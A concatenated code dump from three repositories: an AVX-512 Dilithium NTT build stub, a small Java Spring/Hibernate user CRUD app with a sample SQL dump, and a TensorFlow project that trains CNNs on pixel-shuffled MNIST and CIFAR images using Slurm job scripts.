extern const uint32_t _8xdiv_512[];
// 512
extern const uint32_t _16xFFFFFFFF[];
extern const uint64_t _8xFFFFFFFFFFFFFFFF[];
#ifdef _TEST_VECTORS
extern int32_t write_rand_count;
#endif
#endif<file_sep>#ifndef CONFIG_H
#define CONFIG_H
#ifndef MODE
#define MODE 4
#endif
//#define USE_AES
//#define RANDOMIZED_SIGNING
//#define USE_RDPMC
//#define SERIALIZE_RDC
//#define DBENCH
#endif
<file_sep>all:
gcc 512c.c TestMul.c const.c asm/ntt.s asm/invntt.s asm/pointwise.S asm/512.s -O3 -mtune=native -march=native
|
80f352f3907c454e200a8778f7fd2989d553d86d
|
[
"Markdown",
"C",
"Makefile"
] | 10
|
C
|
KandiyIIT/dilithium_ntt_avx512
|
d7e40208034bad0da130c9b44d7e8e4f32a06f24
|
038ae370d8ef7c72568c3af60c3502178bb91089
|
refs/heads/master
|
<repo_name>alexander-kuznetsov/usersCrud<file_sep>/src/main/java/Test.java
package main.java; /**
* Created by Suntey on 13.02.2017.
*/
import main.java.model.User;
import main.java.service.UserService;
import org.springframework.context.support.ClassPathXmlApplicationContext;
import java.sql.Timestamp;
import java.util.Date;
public class Test {
public static void main(String[] args) {
ClassPathXmlApplicationContext getBean = new ClassPathXmlApplicationContext("webapp/WEB-INF/spring-servlet.xml");
UserService userService = (UserService) getBean.getBean("userService");
userService.createUser(new User("Диман", 26, true, new Timestamp(new Date().getTime())));
}
}
<file_sep>/src/main/java/service/UserService.java
package main.java.service;
import main.java.dao.UserDao;
import main.java.model.User;
import org.springframework.transaction.annotation.Transactional;
import java.util.List;
/**
* Created by Suntey on 14.02.2017.
*/
@Transactional
public class UserService {
private UserDao userDao;
public void setUserDao(UserDao userDao) {
this.userDao = userDao;
}
@Transactional
public void createUser(User user){
this.userDao.createUser(user);
}
@Transactional
public void updateUser(User user){
this.userDao.updateUser(user);
}
@Transactional
public void deleteUser(int id){
this.userDao.deleteUser(id);
}
@Transactional
public User getUserById(int id){
return this.userDao.getUserById(id);
}
@Transactional
public List<User> listUsers(){
return this.userDao.listUsers();
}
@Transactional
public List<User> listUsers(String name){
return this.userDao.listUsers(name);
}
}
<file_sep>/README.md
# usersCrud
Дамп базы данных лежит в main/resources
По просьбе базу назвал test, имя пользователя root, а вот с паролем не задалось прошу прощения. Использую denwer, по умолчанию в phpadmin создан пользователь без пароля, с добавлением пароля возникнули трудности...Надеюсь это не доставит большие неудобства. Спасибо за понимание.
<file_sep>/src/main/resources/users_view.sql
-- phpMyAdmin SQL Dump
-- version 3.5.1
-- http://www.phpmyadmin.net
--
-- Хост: 127.0.0.1
-- Время создания: Фев 27 2017 г., 04:12
-- Версия сервера: 5.5.25
-- Версия PHP: 5.3.13
SET SQL_MODE="NO_AUTO_VALUE_ON_ZERO";
SET time_zone = "+00:00";
/*!40101 SET @OLD_CHARACTER_SET_CLIENT=@@CHARACTER_SET_CLIENT */;
/*!40101 SET @OLD_CHARACTER_SET_RESULTS=@@CHARACTER_SET_RESULTS */;
/*!40101 SET @OLD_COLLATION_CONNECTION=@@COLLATION_CONNECTION */;
/*!40101 SET NAMES utf8 */;
--
-- База данных: `test`
--
-- --------------------------------------------------------
--
-- Структура таблицы `users_view`
--
CREATE TABLE IF NOT EXISTS `users_view` (
`id` int(8) NOT NULL AUTO_INCREMENT,
`name` varchar(25) NOT NULL,
`age` int(3) NOT NULL,
`isAdmin` bit(1) NOT NULL,
`createDate` timestamp NOT NULL DEFAULT CURRENT_TIMESTAMP ON UPDATE CURRENT_TIMESTAMP,
PRIMARY KEY (`id`),
UNIQUE KEY `id` (`id`)
) ENGINE=InnoDB DEFAULT CHARSET=utf8 AUTO_INCREMENT=20 ;
--
-- Дамп данных таблицы `users_view`
--
INSERT INTO `users_view` (`id`, `name`, `age`, `isAdmin`, `createDate`) VALUES
(4, 'Бил', 26, b'0', '2017-02-27 00:09:09'),
(5, 'Сантей', 26, b'0', '2017-02-27 00:09:22'),
(6, 'Диман', 26, b'0', '2017-02-27 00:09:30'),
(7, 'Диля', 27, b'0', '2017-02-27 00:09:44'),
(8, 'Таище', 23, b'0', '2017-02-27 00:09:54'),
(9, 'Барик', 40, b'0', '2017-02-27 00:10:02'),
(10, 'Иван', 38, b'0', '2017-02-27 00:10:15'),
(11, 'Люба', 25, b'0', '2017-02-27 00:10:29'),
(12, 'Андрей', 22, b'0', '2017-02-27 00:10:39'),
(13, 'Петр', 24, b'0', '2017-02-27 00:10:59'),
(14, 'Бил', 32, b'0', '2017-02-27 00:11:09'),
(15, 'Александр', 44, b'0', '2017-02-27 00:11:16'),
(16, 'Игорь', 25, b'0', '2017-02-27 00:11:39'),
(17, 'Алиса', 3, b'0', '2017-02-27 00:11:48'),
(18, 'Леха', 30, b'0', '2017-02-27 00:11:56'),
(19, 'Java', 0, b'0', '2017-02-27 00:12:09');
/*!40101 SET CHARACTER_SET_CLIENT=@OLD_CHARACTER_SET_CLIENT */;
/*!40101 SET CHARACTER_SET_RESULTS=@OLD_CHARACTER_SET_RESULTS */;
/*!40101 SET COLLATION_CONNECTION=@OLD_COLLATION_CONNECTION */;<file_sep>/src/main/java/model/User.java
package main.java.model;
import org.hibernate.annotations.CreationTimestamp;
import org.hibernate.annotations.Type;
import javax.persistence.*;
import java.sql.Timestamp;
/**
* Created by Suntey on 13.02.2017.
*/
@Entity
@Table(name = "users_view")
public class User {
public User() {
}
public User(String userName, int age, boolean isAdmin, Timestamp createdDate) {
this.userName = userName;
this.age = age;
this.isAdmin = isAdmin;
this.createdDate = createdDate;
}
@Id
@GeneratedValue(strategy = GenerationType.AUTO)
@Column(name = "id")
private int userId;
@Column(name = "name")
private String userName;
@Column(name = "age")
private int age;
@Column(name = "isAdmin")
@Type(type = "org.hibernate.type.NumericBooleanType")
private boolean isAdmin;
@Column(name = "createDate")
@Type(type = "org.hibernate.type.TimestampType")
@CreationTimestamp
private Timestamp createdDate;
public int getUserId() {return userId;}
public String getUserName() {return userName;}
public int getAge() {return age;}
public void setAdmin(boolean admin) {
isAdmin = admin;
}
public boolean getAdmin() {
return isAdmin;
}
public Timestamp getCreatedDate() {return createdDate; }
public void setUserId(int userId) {this.userId = userId;}
public void setUserName(String userName) {this.userName = userName;}
public void setAge(int age) {this.age = age;}
public void setCreaatedDate(Timestamp creaatedDate) {this.createdDate = creaatedDate;}
@Override
public String toString() {
return "model.User{" +
"userId=" + userId +
", userName='" + userName + '\'' +
", age=" + age +
", isAdmin=" + isAdmin +
", creaatedDate=" + createdDate +
'}';
}
}
|
a818f7a66fc7bdeebf7e6ea41018206d1deee64a
|
[
"Markdown",
"Java",
"SQL"
] | 5
|
Java
|
alexander-kuznetsov/usersCrud
|
3bb5b725d1bebe7985dd759ea12e15a5d84f413e
|
6895f5ad334529b71d1c5fab72321a483b715a27
|
refs/heads/master
|
<repo_name>aaronslin/CBMM_shuffle_pixels<file_sep>/disp_slurmout.sh
for file in "$@"
do
echo -n $file" ";
cat $file | grep "Iter" | tail -n 1;
done
<file_sep>/filename_paths.py
import os
ROOT = {
True: "/home/aaronlin",
False: "."
}
def get_shuffle_maps_path(isOM):
return os.path.join(ROOT[isOM], "shuffle_maps.npy")
def get_cifar_images_path(isOM):
if isOM:
return os.path.join(ROOT[isOM], "cifar10_data")
return "/tmp/cifar10_data"
def get_mnist_data_path(isOM):
return "/tmp/data/"
<file_sep>/pixel_averaging.py
import numpy as np
import cv2
MNIST_DIMENSIONS = (28,28)
PIXEL_MAX_VALUE = 256
def load_img(path):
raw = cv2.imread(path, 0)
return cv2.resize(raw, MNIST_DIMENSIONS)
def disp(images, names=0):
x_shift = 100
y_shift = 25
if type(images) == type([]):
if names is 0:
names = range(len(images))
const_y = 25
for (img, name) in zip(images, names):
cv2.imshow(str(name),img)
cv2.moveWindow(str(name), x_shift, y_shift)
#cv2.moveWindow(str(name), x_shift + name[0]*200, \
# y_shift - 4*(name[0]-1)*(const_y + img.shape[1]))
y_shift += img.shape[1] + const_y
elif type(images) == type(np.array([])):
cv2.imshow(str(names), images)
else:
return
cv2.waitKey(0)
cv2.destroyAllWindows()
def generate_rand_grid(dimensions=MNIST_DIMENSIONS):
return np.random.randint(PIXEL_MAX_VALUE, size=dimensions)
def modulus_shadow(image, hash):
return (image-hash) % PIXEL_MAX_VALUE
def absolute_shadow(image, hash):
return (image-hash)
def interleaved(image, hash, dimensions=MNIST_DIMENSIONS):
(r,c) = dimensions
shadow = absolute_shadow(image, hash)
output = np.ravel(np.column_stack((hash, shadow))).reshape((-1,c))
return output
def divorced(image, hash, dimensions=MNIST_DIMENSIONS):
(r,c) = dimensions
shadow = modulus_shadow(image, hash)
output = np.row_stack((hash, shadow))
return output
def batch_interleave(batch, hash):
(x,y) = MNIST_DIMENSIONS
out = [interleaved(img.reshape((x,y)), hash).reshape((2*x*y,)) \
for img in batch]
return np.array(out)
def batch_divorce(batch, hash):
(x,y) = MNIST_DIMENSIONS
out = [divorced(img.reshape((x,y)), hash).reshape((2*x*y,)) \
for img in batch]
return np.array(out)
# digit1 = load_img("1_mnist.png")
# digit8 = load_img("8_mnist.png")
<file_sep>/conv_shuffle.py
'''
A Convolutional Network implementation example using TensorFlow library.
This example is using the MNIST database of handwritten digits
(http://yann.lecun.com/exdb/mnist/)
Author: <NAME>
Project: https://github.com/aymericdamien/TensorFlow-Examples/
'''
import numpy as np
import tensorflow as tf
from itertools import product
import time
import argparse
import sys
def load_maps(filename):
mapsDict = np.load(filename).item()
return mapsDict
import frame_shuffle
import nn_architecture as nn
import filename_paths
# Flags from frame_shuffle
LOGDIM = 5
# Varied parameters
def taskNum_to_params1(taskNum):
# input: taskNum from 0 to 19
# output: (logPanes, hasOut, hasIn) \in (1-LOGDIM, 0-1, 0-1)
logPanes = (taskNum % LOGDIM) + 1
hasOut = (taskNum % 2) == 1
hasIn = (taskNum % 4) > 1
return (logPanes, hasOut, hasIn)
parser = argparse.ArgumentParser()
parser.add_argument("-s", "--slurm_task_num", default=0, type=int)
parser.add_argument("-o", "--openmind", default=1, type=int)
parser.add_argument("-d", "--dataset", default=None)
parser.add_argument("-a", "--architecture", default="default")
args = parser.parse_args()
# Arg: Slurm task number
taskNum = args.slurm_task_num
taskParams = taskNum_to_params1(taskNum)
print("Parameters:", taskParams)
# Arg: Openmind usage
isOpenmind = args.openmind
FILENAME_MAP = filename_paths.get_shuffle_maps_path(isOpenmind)
MAPS_DICT = load_maps(FILENAME_MAP)
# Arg: Dataset name
DATASET_NAME = args.dataset
try:
DATASET = __import__(DATASET_NAME)
except ImportError:
print("Dataset not found:", DATASET_NAME)
sys.exit(1)
DATASET.init_om(isOpenmind)
# Arg: CNN Architecture name
architecture_name = args.architecture
# Parameters
learning_rate = 0.001
training_iters = 200000
batch_size = 128
display_step = 10
dropout = 0.75
# Construct model
convNet = DATASET.CNN(**nn.PARAMS[architecture_name])
x, y = convNet.get_placeholders()
keep_prob = tf.placeholder(tf.float32)
pred = convNet.predict(x, keep_prob)
# Define loss and optimizer
cost = tf.reduce_mean(tf.nn.softmax_cross_entropy_with_logits(logits=pred, labels=y))
optimizer = tf.train.AdamOptimizer(learning_rate=learning_rate).minimize(cost)
# Evaluate model
correct_pred = tf.equal(tf.argmax(pred, 1), tf.argmax(y, 1))
accuracy = tf.reduce_mean(tf.cast(correct_pred, tf.float32))
# Initializing the variables
init = tf.initialize_all_variables()
def train_model(logPanes, hasOut, hasIn):
def process_images(batch):
return frame_shuffle.batch_shuffle(batch, \
DATASET_NAME, MAPS_DICT, logPanes, hasOut, hasIn)
# Launch the graph
acc = 0
testAcc = 0
with tf.Session() as sess:
sess.run(init)
step = 1
# Keep training until reach max iterations
while step * batch_size < training_iters:
batch_x, batch_y = DATASET.get_next_batch("train", batch_size)
batch_x = process_images(batch_x)
# Run optimization op (backprop)
sess.run(optimizer, feed_dict={x: batch_x, y: batch_y,
keep_prob: dropout})
if step % display_step == 0:
# Calculate batch loss and accuracy
loss, acc = sess.run([cost, accuracy], feed_dict={x: batch_x,
y: batch_y,
keep_prob: 1.})
test_x, test_y = DATASET.get_next_batch("test", batch_size)
test_x = process_images(test_x)
testAcc = sess.run(accuracy, feed_dict={x: test_x,
y: test_y,
keep_prob: 1.})
print("Iter " + str(step*batch_size) + ", Training Accuracy= " + \
"{:.5f}".format(acc) + ", Test Acc.= "+ \
"{:.5f}".format(testAcc))
step += 1
print("Optimization Finished!")
return acc, testAcc
def vary_parameters():
bools = [True, False]
for logPanes, hasOut, hasIn in product(range(1, LOGDIM), bools, bools):
train_given_parameters((logPanes, hasOut, hasIn))
def train_given_parameters(params = taskParams):
(logPanes, hasOut, hasIn) = params
print("##################### NEW ITERATION #####################")
print("Parameters (logPanes, hasOut, hasIn): ", (logPanes, hasOut, hasIn))
acc, testAcc = train_model(logPanes, hasOut, hasIn)
print("\n(acc, testAcc):", (acc, testAcc))
print("\n\n\n\n\n")
def view_shuffled_images():
def process_images(batch, params):
(logPanes, hasOut, hasIn) = params
return frame_shuffle.batch_shuffle(batch, \
DATASET_NAME, MAPS_DICT, logPanes, hasOut, hasIn)
from pixel_averaging import disp
temp_batch_size = 1
max_iters = 5
bools = [True, False]
for i in range(max_iters):
batch_x, batch_y = DATASET.get_next_batch("train", temp_batch_size)
params = []
for logPanes, hasOut, hasIn in product(range(1, LOGDIM), bools, bools):
params.append((logPanes, hasOut, hasIn))
modifs = [process_images(batch_x, param)[0] \
.reshape(DATASET.PADDED_SIZE) for param in params]
disp(modifs, params)
if __name__ == "__main__":
train_given_parameters()
#view_shuffled_images()
<file_sep>/cifar.py
import numpy as np
from itertools import cycle
import nn_architecture as nn
np.set_printoptions(threshold='nan')
IMAGES = {}
LABELS = {}
SIZE = (32, 32, 3)
PADDED_SIZE = (32, 32, 3)
CNN = nn.CIFAR_Network
def init_om(isOM):
for mode in ["train", "test"]:
IMAGES[mode], LABELS[mode] = prepare_cifar(mode, isOM)
def decode3(input):
if isinstance(input, dict):
return {decode3(key): decode3(value) for key, value in input.items()}
elif isinstance(input, list):
return [decode3(element) for element in input]
elif isinstance(input, bytes):
return input.decode('utf-8')
else:
return input
def unpickle2(file):
import cPickle
with open(file, 'rb') as fo:
dict = cPickle.load(fo)
return dict
def unpickle3(file):
import pickle
with open(file, 'rb') as fo:
dict = pickle.load(fo, encoding='bytes')
return decode3(dict)
def prepare_cifar(mode, isOM):
import os
import filename_paths
unpickle = unpickle3 if isOM else unpickle2
data_dir = filename_paths.get_cifar_images_path(isOM)
if mode == "train":
num_datafiles = 5
filenames = [os.path.join(data_dir, 'data_batch_%d' % i)
for i in range(1, num_datafiles+1)]
files = [unpickle(file) for file in filenames]
images = np.concatenate([file["data"] for file in files])
labels = np.concatenate([file["labels"] for file in files])
if mode == "test":
testFile = unpickle(os.path.join(data_dir, 'test_batch'))
images = testFile["data"]
labels = testFile["labels"]
return cycle(images), cycle(labels)
def bgr_ify(image):
interm = image.reshape((3, 32, 32))
interm = interm[::-1] # converts rgb -> bgr
bgr = np.swapaxes(np.swapaxes(interm, 0, 2), 0, 1)
return bgr
def grayscale_flat(image):
bgr = bgr_ify(image)
gray = np.dot(bgr, [0.114, 0.587, 0.299]) / 256
return gray.reshape((-1,))
def bgr_flat(image):
return bgr_ify(image).reshape((-1,))
def one_hot(label, num_classes=10):
return (np.arange(num_classes) == label).astype(np.int32)
def get_next_batch(mode, batch_size):
X = []
Y = []
for _ in range(batch_size):
image = bgr_flat(next(IMAGES[mode]))
label = one_hot(next(LABELS[mode]))
X.append(image)
Y.append(label)
return np.array(X), np.array(Y)
<file_sep>/bin/slurm-job
#!/usr/bin/env bash
#SBATCH --array=1-20
#SBATCH --job-name=shuffle_pixels
#SBATCH --output slurm_out/%A_%a.out
#SBATCH --ntasks=1
#SBATCH --gres=gpu:1
set -euxo pipefail
${SLURM_ARRAY_TASK_ID:=3}
# allows us to use modules within a script
source ${MODULESHOME}/init/bash
module add openmind/singularity/2.2.1
singularity exec --bind /om:/om /om/user/aaronlin/py35-tf.img python -u conv_shuffle.py -s $SLURM_ARRAY_TASK_ID -o 1 -d cifar
<file_sep>/nn_architecture.py
import tensorflow as tf
import numpy as np
import unittest
import random
np.set_printoptions(threshold=np.nan)
def conv2d(x, W, b, strides=1):
# Conv2D wrapper, with bias and relu activation
x = tf.nn.conv2d(x, W, strides=[1, strides, strides, 1], padding='SAME')
x = tf.nn.bias_add(x, b)
return tf.nn.relu(x)
def maxpool2d(x, k=2):
# MaxPool2D wrapper
return tf.nn.max_pool(x, ksize=[1, k, k, 1], strides=[1, k, k, 1],
padding='SAME')
def conv_nolocality(X, W, B, setting):
Y = _conv_nolocality_nobias(X, W, setting)
Y = tf.nn.bias_add(Y, B)
return tf.nn.relu(Y)
def _conv_nolocality_nobias(X, W_raw, setting):
'''
Convolutions that remove locality property by convolving pixels
that aren't necessarily adjacent.
Currently lacking in features to:
- padding the image
- stride options
'''
(batchSize, n, n, prevDepth) = X.shape
(k, k, prevDepth, nextDepth) = W_raw.shape
index_shift = _get_deconv_indices(n, k, setting)
X = tf.reshape(X, (batchSize, n*n*prevDepth))
W = _flat_scatter(index_shift, W_raw, n)
X = tf.cast(X, tf.float32)
W = tf.cast(W, tf.float32)
Y = tf.matmul(X, W, b_is_sparse=True)
Y = tf.reshape(Y, (batchSize, n*n, nextDepth))
return X, W, Y
def _flat_scatter(index_shift, W_raw, n):
'''
Disclaimer: This code is /really/ ugly.
The goal of this helper function is to use tf.scatter_update()
to create the weight matrices that represent a nonlocal
convolutions. The final weight matrix W should have a shape:
(n*n, n*n, prevDepth, nextDepth)
Dim[0]: We need to perform n*n convolutions, 1 centered around each
pixel of the input image. Each slice along this dimension is
a weight matrix representing each convolution. For example, if
prevDepth=nextDepth=1 and n=4 with k(ernel_size)=2, we could have:
(1 1 0 0
1 1 0 0
0 0 0 0
0 0 0 0).flatten()
Dim[1]: There are n*n pixels for a weight matrix slice that corresponds
to a convolution centered around one pixel.
Dim[2]: The number of channels in the image or the current layer.
Dim[3]: The depth of the next convolutional layer.
The weight matrix should be sparse, so we start with a zero matrix,
`zeros`. The variable `ind_flat` specifies which indices of the
matrix `zeros` should be a convolution. The variable `W_flat`
specifies these values.
All of these computations are flattened into (n*n*dim[0],) + dim[1:]
arrays, so that tf.scatter_update is executed once instead of n*n
times. I couldn't figure out how to use tf.map_fn to call
tf.scatter_update n*n times, which would have been more elegant.
'''
(k, k, prevDepth, nextDepth) = W_raw.shape
# zSlice: (n*n, prevDepth, nextDepth) # 1 conv
# zeros: (n*n*n*n, prevDepth, nextDepth) # n*n convs
zSlice = np.zeros([n*n, prevDepth, nextDepth])
zeros = np.concatenate([zSlice]* (n*n), axis=0)
# _flat, coords: (n*n, k*k)
# ind_flat: (n*n*k*k, )
# Purpose: provide index offsets, since zeros is flattened
coords = _modulus_flat(index_shift, n)
_flat = np.hstack([np.arange(n*n).reshape((-1,1))] * (k*k))
_flat = _flat * (n*n)
ind_flat = (coords + _flat).flatten()
# W_raw: (k*k, prevDepth, nextDepth)
# W_flat: (n*n*k*k, prevDepth, nextDepth)
# Purpose: repeat values of W for all n*n convolutions
W_raw = W_raw.reshape((k*k, prevDepth, nextDepth))
W_flat = np.concatenate([W_raw] * (n*n), axis=0)
# Shape after tf.scatter_update: (n*n*n*n, prevDepth, nextDepth)
# after 2x tf.reshape: (n*n, n*n*prevDepth, nextDepth)
# after tf.transpose: (n*n*prevDepth, n*n, nextDepth)
# returned: (n*n*prevDepth, n*n*nextDepth)
W = tf.scatter_update(tf.Variable(zeros), ind_flat, W_flat)
W = tf.reshape(W, (n*n, n*n, prevDepth, nextDepth))
W = tf.reshape(W, (n*n, n*n*prevDepth, nextDepth))
W = tf.transpose(W, perm=[1, 0, 2])
W = tf.reshape(W, (n*n*prevDepth, n*n*nextDepth))
return W
def _modulus_flat(index_shift, n):
# Expecting index_shift to be array of numbers in [0, n^2-1]
k_area = len(index_shift)
shift = np.vstack([index_shift] * (n*n))
index = np.vstack([np.arange(n*n)] * k_area).T
# Shape: (n*n) x (k*k)
ans = (index + shift) % (n*n)
return ans
def _get_deconv_indices(n, k, setting):
'''
Inputs:
n: the side length of the image being convolved (32 for CIFAR-10)
k: the side length of the kernel size
setting: (see below)
Returns: a length k*k array with relative indices to specify the
pixels being convolved. The image is flattened into an n*n vector.
For example, with a 6x6 image and a 3x3 convolution at the pixel
marked X:
0 0 0 0 0 0
1 1 1 0 0 0
1 X 1 0 0 0
1 1 1 0 0 0
0 0 0 0 0 0
0 0 0 0 0 0
We should obtain the indices [-7, -6, -5, -1, 0, 1, 5, 6, 7], as
these are the pixels (relative to the X) marked with a "1".
Setting:
"pseudo_conv": See above example. A normal k*k convolution.
"consecutive": For test purposes. Returns the next k*k pixels.
"random": Returns a random set of k*k pixels.
{"filename": ...}: Loads a random array from filename.
'''
if type(setting) is str:
if setting == "pseudo_conv":
min = -k // 2
max = k // 2
horiz = range(min+1, max+1)
vert = [n*x for x in horiz]
indices = [h+v for h in horiz for v in vert]
elif setting == "consecutive":
indices = range(k*k)
elif setting == "random":
indices = random.sample(range(n*n), k*k)
if type(setting) is dict:
filename = setting["filename"]
indices = np.load(filename)
return indices
class TF_Test(tf.test.TestCase):
def test_conv_arange(self):
batch = 2
n = 5
prevDepth = 3
nextDepth = 2
k = 2
x = np.arange(batch * n * n * prevDepth).reshape((batch,n,n,prevDepth))
w = np.arange(1, k * k * prevDepth * nextDepth+1).reshape(k, k, prevDepth, nextDepth)
setting = "pseudo_conv"
b = tf.constant(np.zeros([nextDepth]).astype(np.float32))
print b
X, W, Y = _conv_nolocality_nobias(x, w, setting)
init = tf.initialize_all_variables()
with self.test_session() as sess:
sess.run(init)
xans, wans, yans = sess.run([X, W, Y])
def test_conv_ones(self):
x, w, b, setting, y = self.generate_xw_2()
X, W, Y = _conv_nolocality_nobias(x, w, setting)
init = tf.initialize_all_variables()
with self.test_session() as sess:
sess.run(init)
xans, wans, yans = sess.run([X, W, Y])
print(xans)
print("********************************")
print(wans)
print("********************************")
print(yans)
print(xans.shape, wans.shape, yans.shape)
print("Expected:", y)
def generate_xw_1(self):
batch = 1
n = 4
prevDepth = 3
nextDepth = 1
k = 2
rgb = range(1, prevDepth+1)
x = np.array([100*i+j for i in range(n*n) for j in rgb])
x = x.reshape((batch, n, n, prevDepth))
ones = [1] * prevDepth
w = np.concatenate([ones]*4, axis=0)
w = w.reshape((k, k, prevDepth, nextDepth))
b = np.zeros([nextDepth])
setting = "consecutive"
ybase = (24 + (np.arange(13)*2+3)*600).astype(np.float32)
wrap_ind = [9, 6, 3]
y = np.concatenate([ybase, ybase[wrap_ind]], axis=0).reshape((batch, -1, nextDepth))
return x, w, b, setting, y
def generate_xw_2(self):
batch = 3
x, w, b, setting, y = self.generate_xw_1()
x = np.vstack([x]*batch)
y = np.vstack([y]*batch)
return x, w, b, setting, y
class Tests(unittest.TestCase):
def test_modulus_flat(self):
shifts = [0, 1, 3, 4]
n = 3
deconv = _modulus_flat(shifts, n)
#print(deconv.shape)
#print(deconv)
# Unit test
if __name__ == "__main__":
#unittest.main()
tf.test.main()
# Architecture parameters
PARAMS = {
"default": {},
"mnist_5x5_nopool": {"poolsize": 1},
"mnist_5x5_pool": {},
"cifar_pool1": {"d1": 32, "d2": 64, "d3": 384, "d4": 192}
}
# Network Object
class Network(object):
def __init__(self):
self.weights = None
self.biases = None
self.convnet = lambda x: NotImplemented
def predict(self, x, keep_prob):
return self.convnet(x, keep_prob)
class MNIST_Network(Network):
def __init__(self, **kwargs):
super(MNIST_Network, self).__init__()
self.set_params(**kwargs)
# MNIST settings
self.image_len = 32
self.n_input = self.image_len * self.image_len
self.n_classes = 10
# Initializing network architecture
self.set_weights()
self.set_biases()
self.set_conv()
def get_placeholders(self):
x = tf.placeholder(tf.float32, [None, self.n_input])
y = tf.placeholder(tf.float32, [None, self.n_classes])
return x, y
def set_params(self, **kwargs):
default = {
"d1": 32,
"d2": 64,
"d3": 1024,
"kernel": 5,
"poolsize": 2
}
self.__dict__.update((k,v) for k,v in default.items())
self.__dict__.update((k,v) for k,v in kwargs.items() if k in default)
def set_weights(self):
width = self.image_len / (self.poolsize * self.poolsize)
self.weights = {
# 5x5 conv, 1 input, 32 outputs
'wc1': tf.Variable(tf.random_normal([self.kernel, self.kernel, 1, self.d1])),
# 5x5 conv, 32 inputs, 64 outputs
'wc2': tf.Variable(tf.random_normal([self.kernel, self.kernel, self.d1, self.d2])),
# fully connected, 7*7*64 inputs, 1024 outputs
'wd1': tf.Variable(tf.random_normal([int(width * width) * self.d2, self.d3])),
# 1024 inputs, 10 outputs (class prediction)
'out': tf.Variable(tf.random_normal([self.d3, self.n_classes]))
}
def set_biases(self):
self.biases = {
'bc1': tf.Variable(tf.random_normal([self.d1])),
'bc2': tf.Variable(tf.random_normal([self.d2])),
'bd1': tf.Variable(tf.random_normal([self.d3])),
'out': tf.Variable(tf.random_normal([self.n_classes]))
}
def set_conv(self):
weights = self.weights
biases = self.biases
def convnet(x, keep_prob):
# Reshape input picture
x = tf.reshape(x, shape=[-1, self.image_len, self.image_len, 1])
# Convolution Layer
conv1 = conv2d(x, weights['wc1'], biases['bc1'])
# Max Pooling (down-sampling
conv1 = maxpool2d(conv1, k=self.poolsize)
# Convolution Layer
conv2 = conv2d(conv1, weights['wc2'], biases['bc2'])
# Max Pooling (down-sampling)
conv2 = maxpool2d(conv2, k=self.poolsize)
# Fully connected layer
# Reshape conv2 output to fit fully connected layer input
fc1 = tf.reshape(conv2, [-1, weights['wd1'].get_shape().as_list()[0]])
fc1 = tf.add(tf.matmul(fc1, weights['wd1']), biases['bd1'])
fc1 = tf.nn.relu(fc1)
# Apply Dropout
fc1 = tf.nn.dropout(fc1, keep_prob)
# Output, class prediction
out = tf.add(tf.matmul(fc1, weights['out']), biases['out'])
return out
self.convnet = convnet
class CIFAR_Network(Network):
def __init__(self, **kwargs):
super(CIFAR_Network, self).__init__()
self.set_params(**kwargs)
# MNIST settings
self.image_len = 32
self.n_input = self.image_len * self.image_len * 3
self.n_classes = 10
# Initializing network architecture
self.set_weights()
self.set_biases()
self.set_conv()
def predict(self, x, keep_prob):
return self.convnet(x)
def get_placeholders(self):
x = tf.placeholder(tf.float32, [None, self.n_input])
y = tf.placeholder(tf.float32, [None, self.n_classes])
return x, y
def set_params(self, **kwargs):
default = {
"d1": 32,
"d2": 64,
"d3": 384,
"d4": 192,
"kernel": 5,
"poolsize": 2
}
self.__dict__.update((k,v) for k,v in default.items())
self.__dict__.update((k,v) for k,v in kwargs.items() if k in default)
def set_weights(self):
width = self.image_len / (self.poolsize ** 3)
self.weights = {
'wc1': tf.Variable(tf.random_normal([self.kernel, self.kernel, 3, self.d1])),
'wc2': tf.Variable(tf.random_normal([self.kernel, self.kernel, self.d1, self.d2])),
'wc3': tf.Variable(tf.random_normal([self.kernel, self.kernel, self.d2, self.d3])),
# fully connected, 7*7*64 inputs, 1024 outputs
'wd1': tf.Variable(tf.random_normal([int(width * width) * self.d3, self.d4])),
# 1024 inputs, 10 outputs (class prediction)
'out': tf.Variable(tf.random_normal([self.d4, self.n_classes]))
}
def set_biases(self):
self.biases = {
'bc1': tf.Variable(tf.random_normal([self.d1])),
'bc2': tf.Variable(tf.random_normal([self.d2])),
'bc3': tf.Variable(tf.random_normal([self.d3])),
'bd1': tf.Variable(tf.random_normal([self.d4])),
'out': tf.Variable(tf.random_normal([self.n_classes]))
}
def set_conv(self):
weights = self.weights
biases = self.biases
def convnet(x):
# Reshape input picture
x = tf.reshape(x, shape=[-1, self.image_len, self.image_len, 3])
print x
# Convolution Layer
conv1 = conv2d(x, weights['wc1'], biases['bc1'])
conv1 = maxpool2d(conv1, k=self.poolsize)
# Convolution Layer
conv2 = conv2d(conv1, weights['wc2'], biases['bc2'])
conv2 = maxpool2d(conv2, k=self.poolsize)
# Convolution Layer
conv3 = conv2d(conv2, weights['wc3'], biases['bc3'])
conv3 = maxpool2d(conv3, k=self.poolsize)
# Fully connected layer
# Reshape conv3 output to fit fully connected layer input
fc1 = tf.reshape(conv3, [-1, weights['wd1'].get_shape().as_list()[0]])
fc1 = tf.add(tf.matmul(fc1, weights['wd1']), biases['bd1'])
fc1 = tf.nn.relu(fc1)
# Output, class prediction
out = tf.add(tf.matmul(fc1, weights['out']), biases['out'])
return out
self.convnet = convnet
<file_sep>/frame_shuffle.py
import numpy as np
import unittest
import math
import random
from itertools import product
# Generator functions
def _pow2(exponent):
return int(math.pow(2, exponent))
def pow2_dimensions(image, pad_values=(0,0)):
# Takes an input image (e.g. MNIST: 28 x 28)
# Returns image with power-of-2 dimensions (32 x 32), and logDim
if image.shape[0] != image.shape[1]:
raise Exception("Error: Input image is not a square")
original_n = image.shape[0]
logDim = int(math.ceil(math.log(original_n, 2)))
desired_n = _pow2(logDim)
diff = desired_n - original_n
pad = (diff//2, diff//2)
if diff % 2 == 1:
pad = ((diff-1)/2, (diff+1)/2)
paddedImage = np.pad(image, pad, "constant", constant_values=pad_values)
return paddedImage, logDim
def _generate_one_shuffle_map(logSideLen):
dim = _pow2(logSideLen)
coords = [(x,y) for x in range(dim) for y in range(dim)]
random.shuffle(coords)
return np.array(coords).reshape((dim, dim, -1))
def generate_both_maps(logDim, logPanes, hasOut, hasIn):
if hasOut:
outerMap = _generate_one_shuffle_map(logPanes)
else:
outerMap = _trivial_shuffle_map(logPanes)
if hasIn:
innerMap = _generate_one_shuffle_map(logDim-logPanes)
else:
innerMap = _trivial_shuffle_map(logDim-logPanes)
return outerMap, innerMap
# Shuffle functions
def _coord_map(logPaneSize, x, y, outMap, inMap):
paneSize = _pow2(logPaneSize)
xq, xr = (x // paneSize, x % paneSize)
yq, yr = (y // paneSize, y % paneSize)
